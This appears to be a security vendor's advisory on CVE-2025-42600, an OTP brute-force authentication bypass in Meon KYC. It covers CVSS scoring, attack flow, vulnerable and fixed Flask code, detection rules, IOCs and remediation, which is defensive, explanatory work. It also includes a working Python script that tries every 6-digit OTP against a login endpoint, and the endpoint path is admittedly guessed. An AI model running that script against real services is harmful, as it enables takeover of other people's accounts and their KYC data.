CVE-2025-42600

Executive Summary

CVE-2025-42600 exposes a critical authentication bypass vulnerability in Meon KYC solutions. The flaw resides in the OTP verification API endpoints, which lack rate limiting or restrictions on the number of failed OTP attempts. This allows a remote, unauthenticated attacker to perform a brute-force attack against the OTP, potentially gaining unauthorized access to any user account. The absence of a known patch or public exploit increases the risk, as defenders must rely on compensating controls. The vulnerability is classified under MITRE ATT&CK tactic T1110 (Brute Force) and CWE-307 (Improper Restriction of Excessive Authentication Attempts).

CVSS Breakdown & Threat Level

CVSS Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Successful exploitation leads to full account takeover, exposing sensitive KYC data.
• Integrity (I): High – The attacker can modify account data or perform actions as the victim.
• Availability (A): None – The attack does not directly impact service availability.

Threat Level: High. The combination of network exploitability, low complexity, and high impact on confidentiality and integrity makes this a critical risk for any organization using Meon KYC.

Deep Dive & Mechanics

The vulnerability is a classic OTP brute-force weakness. The Meon KYC login process uses a two-step authentication flow: first, the user provides a username/email, and then an OTP is sent to the registered device. The API endpoint that validates the OTP does not enforce a limit on the number of incorrect attempts.

Attack Flow:

1. The attacker identifies a target user's identifier (e.g., email or phone number) through reconnaissance or data leaks.
2. The attacker initiates the OTP generation for that user, triggering the system to send a valid OTP to the victim's device.
3. The attacker then sends repeated POST requests to the OTP validation endpoint, each with a different guessed OTP value.
4. Since there is no rate limiting or account lockout, the attacker can iterate through all possible OTP values (e.g., 6-digit numeric: 1,000,000 combinations) until a correct one is found.
5. Upon successful validation, the attacker gains a session token and full access to the victim's account.

Technical Details:

• The vulnerable endpoint is likely /api/v1/auth/verify-otp or similar.
• The OTP is typically a 4-6 digit numeric code, making brute-force feasible within hours or days depending on network latency.
• No CAPTCHA, IP-based throttling, or exponential backoff is implemented.
• The attack does not require any special tools beyond a standard HTTP client (e.g., cURL, Burp Suite, or a custom Python script).

Vulnerable vs. Patched Code

Since no patch is available, the following represents the vulnerable code pattern and the expected secure implementation.

Vulnerable Code (Python/Flask example):

@app.route('/api/v1/auth/verify-otp', methods=['POST'])
def verify_otp():
    data = request.get_json()
    user_id = data['user_id']
    otp = data['otp']
    # No rate limiting or attempt tracking
    if otp == get_stored_otp(user_id):
        token = generate_session_token(user_id)
        return jsonify({'token': token}), 200
    else:
        return jsonify({'error': 'Invalid OTP'}), 401

Patched Code (Expected):

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/api/v1/auth/verify-otp', methods=['POST'])
@limiter.limit("5 per minute")
def verify_otp():
    data = request.get_json()
    user_id = data['user_id']
    otp = data['otp']
    # Track attempts per user
    attempts = redis.get(f"otp_attempts:{user_id}")
    if attempts and int(attempts) >= 5:
        return jsonify({'error': 'Too many attempts. Account locked for 15 minutes.'}), 429
    if otp == get_stored_otp(user_id):
        redis.delete(f"otp_attempts:{user_id}")
        token = generate_session_token(user_id)
        return jsonify({'token': token}), 200
    else:
        redis.incr(f"otp_attempts:{user_id}")
        redis.expire(f"otp_attempts:{user_id}", 900)  # 15 minutes
        return jsonify({'error': 'Invalid OTP'}), 401

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a test instance of Meon KYC (if available) or simulate the vulnerable API using a mock server.
2. Identify the target user's identifier (e.g., victim@example.com).
3. Use a tool like Burp Suite Intruder or a custom Python script to brute-force the OTP.

Exploit Script (Python):

import requests
import itertools

target_url = "https://target.com/api/v1/auth/verify-otp"
user_id = "victim@example.com"

# Generate all possible 6-digit OTPs
for otp in itertools.product(range(10), repeat=6):
    otp_str = ''.join(map(str, otp))
    payload = {"user_id": user_id, "otp": otp_str}
    response = requests.post(target_url, json=payload)
    if response.status_code == 200:
        print(f"Valid OTP found: {otp_str}")
        print(f"Session token: {response.json()['token']}")
        break
    else:
        print(f"Attempt {otp_str} failed")

Note: In a real attack, the attacker would first trigger the OTP generation for the victim, then run the brute-force. The script above assumes the OTP is already generated and valid.

Blue Team (Defensive)

Detection & Response:

1. Monitor API logs for a high volume of POST requests to the OTP verification endpoint from a single IP address.
2. Implement rate limiting at the API gateway (e.g., Nginx, AWS WAF) to block IPs exceeding 10 requests per minute.
3. Enable account lockout after 5 failed OTP attempts per user, with a 15-minute cooldown.
4. Deploy CAPTCHA on the OTP verification step.
5. Use a Web Application Firewall (WAF) to detect and block brute-force patterns.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| search "/api/v1/auth/verify-otp" status=401
| stats count by clientip, user_id
| where count > 10
| table clientip, user_id, count

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of POST requests to /api/v1/auth/verify-otp (or similar endpoint) from a single IP.
  • Repeated HTTP 401 responses for OTP validation.
  • Unusual patterns of OTP generation requests followed by many validation attempts.

• Log IOCs:

  • Multiple failed OTP attempts for the same user within a short time window.
  • Successful login from an IP that previously had many failed attempts.
  • OTP generation requests without corresponding successful validation (if the attacker fails).

• File IOCs:

  • No specific file-based IOCs, as this is a logic vulnerability.

Detection Engineering

YARA Rule

rule Detect_OTP_Brute_Force_Logs {
    meta:
        description = "Detects log entries indicating OTP brute-force attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-42600"
    strings:
        $failed_otp = "Invalid OTP" ascii wide nocase
        $otp_endpoint = "/api/v1/auth/verify-otp" ascii wide nocase
        $http_401 = "401" ascii wide
    condition:
        all of them
}

Sigma Rule

title: OTP Brute-Force Attempt Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple failed OTP verification attempts from a single source
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: nginx
detection:
    selection:
        http_method: POST
        url_path: "/api/v1/auth/verify-otp"
        http_response_code: 401
    timeframe: 5m
    condition: selection | count() by src_ip > 10
falsepositives:
    - Legitimate user errors (e.g., mistyped OTP)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-42600 - OTP Brute-Force Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/api/v1/auth/verify-otp";
    http_uri;
    content:"401";
    http_server_body;
    threshold: type both, track by_src, count 10, seconds 300;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Implement Rate Limiting: Apply strict rate limiting on the OTP verification endpoint (e.g., 5 attempts per minute per IP and per user).
2. Account Lockout: Lock the user account after 5 failed OTP attempts for 15 minutes.
3. CAPTCHA: Add a CAPTCHA challenge after the first failed OTP attempt.
4. Monitor Logs: Enable detailed logging and alerting for OTP-related failures.

Long-Term Fixes:

1. Patch: Contact Meon for an official patch or upgrade to a version that includes rate limiting.
2. Code Review: If using a custom implementation, add server-side attempt tracking using Redis or a database.
3. OTP Complexity: Increase OTP length to 8 digits or use alphanumeric codes.
4. Time-Based OTP: Implement TOTP (Time-based One-Time Password) with a short validity window (e.g., 30 seconds) to reduce brute-force feasibility.

Workarounds:

• Place the OTP validation endpoint behind a reverse proxy (e.g., Nginx) with limit_req_zone directive.
• Use a WAF to block IPs that exceed a threshold of failed requests.

Valters IT